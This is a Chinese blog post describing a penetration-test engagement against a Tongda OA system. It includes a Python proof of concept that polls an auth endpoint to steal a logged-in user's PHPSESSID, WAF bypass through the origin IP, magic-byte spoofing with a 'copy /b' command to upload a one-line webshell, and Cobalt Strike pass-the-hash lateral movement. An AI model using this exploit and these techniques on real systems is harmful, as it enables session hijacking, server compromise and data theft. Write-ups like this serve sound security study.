记一次外网打点到内网横向

文章讲述了通过指纹探测工具发现通达OA系统的一个在线用户登录漏洞,并编写Pythonpoc持续监控。接着,作者讨论了如何通过真实IP绕过云WAF,以及文件上传的幻数检测绕过技巧。最后,文章提及了内网哈希传递在非域环境中的应用,利用CS扫描和撞哈希来获取更多主机控制权。
摘要由CSDN通过智能技术生成

本文来自“白帽子社区知识星球”

作者:BaiKer

记录hw中的一次打点经历,感觉拿的挺偏的,也算是靠运气 

不过也算是一种思路吧,给大家分享一下

01

指纹探测

通过指纹探测工具对目标进行批量扫描 

然后罗列出重点资产,优先测试

Ehole.exe -l file.txt -json out.json

6efdd56777025c599f7a7bb7b0f604e1.png

02

登录后台

通过指纹探测,发现某一个网站使用了通达OA

然后对该网站检测所有的 n day

37ab45b0349d0623dfd7210dc1e84b13.png

然后发现该网站存在 通达OA v11.7 在线用户登录漏洞 1 Ehole.exe -l file.txt -json out.json 这个漏洞吧,虽然是个漏洞,但是一直没有多大用处 因为利用条件很难,需要你不断的监控,正好目标用户处于登录状态才可以 不过既然发现了,那就先挂在服务器上用脚本跑着,万一出结果呢 

poc如下:

import requests
import sys
import re
import time
def poc(url,uid):
url = f'{url}/mobile/auth_mobi.php?isAvatar=1&uid={uid}&P_VER=0'
while True:
res = requests.get(url)
if res.status_code == 200:
if res.text == '':
cookies = re.findall(r'PHPSESSID=(.*?);', str(res.headers))
print('[+]目标在线,PHPSESSID=' + cookies[0])
break
if 'RELOGIN' in res.text:
print('[+]目标用户不在线')
time.sleep(2)
def main(argv):
print('------------------------------------------')
print('[+]适用版本:通达OA 11.7 ')
print('[+]使用格式: python3 poc.py url uid')
print('------------------------------------------')
poc(argv[0],argv[1])
if __name__ == '__main__':
main(sys.argv[1:])

12b4a97e2645c893c69e021cd38811e4.png

注:图是后面用另一个脚本临时补的,之前写的这个不知道放哪里了 

后来想着一直等着不是这么回事,中间也没发现其他的入口,然后发现目标网站是我们客户的网 站,这不是巧了 

找了队友说了一下想法,商量了一个理由,然后联系那边的运维同学,找客户相关的人联系了一下 (其实那个号就在他手里,装一下) 

啪!上线!

03

WAF bypass

上面这个漏洞吧,因为需要访问特定的url路径,然后就被云WAF拦截了

19cc2a42b355ffbb433e2a894533f6f1.png

当天的网站关掉了,随便找了个截图的... 这里主要是通过真实IP去绕 

这里说了一下思路,一个是通过域名或者被测单位名称或者网站标题放到 fofa 去搜 

还一个是查找子域,然后通过子域里在省内IP的,去扫描C段 

然后修改hosts刷新DNS解析去判断真实IP 

日常中第一个方法就可以了,如果没有就直接放弃,或者使用其他方式绕WAF 

第二种是个笨办法,可以用go写个工具去实现,但是量可能会比较大

04

文件上传

进去后台大概过了一下,好像没什么东西 大概有几万的敏感数据,身份证信息,电话号什么的,报了一个信息泄露,因为量大,

有额外的 分,美滋滋,继续测试 抓了几个包,测了一下,没有SQL注入,放弃了 

然后找到了一个文件上传的地方,不过被后端拦掉了 

后端检测上传文件的头部是不是图片格式 

大概绕过原理如下 

要绕过jpg文件幻数检测就要在文件开头写上下图的值: 

Value = FF D8 FF E0 00 10 4A 46 49 46

fdcad44d7330511c04bdebfacfb5f25d.png

要绕过gif 文件幻数检测就要在文件开头写上下图的值 Value = 47 49 46 38 39 61

22c70b9713b56e1afae9f9374f2ef88b.png

要绕过png 文件幻数检测就要在文件开头写上下面的值 Value = 89 50 4E 47

5b657767aedf044934a268bfcd585b36.png

然后在文件头部后面加上自己的一句话木马代码就行了 直接简单一点

copy image.jpg/b+test.php/a test.jpg

05

哈希传递

内网不麻烦,就是耗时间一个个去磨 

这次环境没有域,全是工作组,也挺无聊的 

说一个最常见的方式吧 通过shell上线CS后 

先是扫描内网中存活的IP,直接是使用CS也好,利用原生命令也好,代理流量通过各种工具扫描也好,目的就是一个,探测更多的资产,拓展C段和其他IP段 

这里通过CS扫描了C段,发现一百多个存活的主机 然后通过哈希传递的方式,利用本地Hash去撞其他主机 因为内网中主机使用同一个密码的可能性很大 

而且不得不说,利用CS进行哈希传递太简单了,不用那么麻烦 

大概下图这样子,一百多个主机看运气能拿十几个二十几个吧,然后弱口令也可以试一试 

然后就和外网打点那样子,扫一扫端口,找漏洞拿shell,然后再抓hash去撞 Linux的话,主要是通过SSH。

不过特别麻烦,而且基本上每台主机都需要提权

9882bd0f08905fedbe67b26d39a5b72b.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值